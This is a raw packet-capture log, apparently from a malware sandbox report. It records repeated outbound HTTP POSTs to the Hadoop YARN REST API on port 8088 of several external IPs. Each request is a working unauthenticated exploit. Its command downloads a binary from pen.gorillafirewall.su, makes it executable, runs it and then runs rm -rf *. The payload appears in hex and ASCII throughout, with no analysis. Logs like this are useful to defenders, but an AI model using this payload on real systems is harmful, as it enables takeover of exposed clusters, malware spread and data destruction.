Sep 12, 2024 00:39:11.075409889 CEST	359	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 254.30.40.98:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:13.443080902 CEST	359	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 254.30.40.98:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:17.794507980 CEST	359	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 254.30.40.98:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:26.497301102 CEST	359	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 254.30.40.98:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:43.903008938 CEST	359	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 254.30.40.98:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:40:18.714324951 CEST	359	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 254.30.40.98:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.23	35558	142.172.118.111	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:39:14.891853094 CEST	362	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 142.172.118.111:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:15.143017054 CEST	362	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 142.172.118.111:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.23	54394	112.144.139.77	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:39:17.894182920 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 112.144.139.77:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.23	38942	94.201.90.86	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:39:20.896015882 CEST	359	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 94.201.90.86:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:21.134041071 CEST	359	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 94.201.90.86:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:21.373992920 CEST	359	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 94.201.90.86:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:21.857918024 CEST	359	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 94.201.90.86:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:22.817842007 CEST	359	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 94.201.90.86:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.23	42478	31.240.32.116	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:39:23.899571896 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 31.240.32.116:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:24.141633987 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 31.240.32.116:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:24.385574102 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 31.240.32.116:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:24.897512913 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 31.240.32.116:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:25.889390945 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 31.240.32.116:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
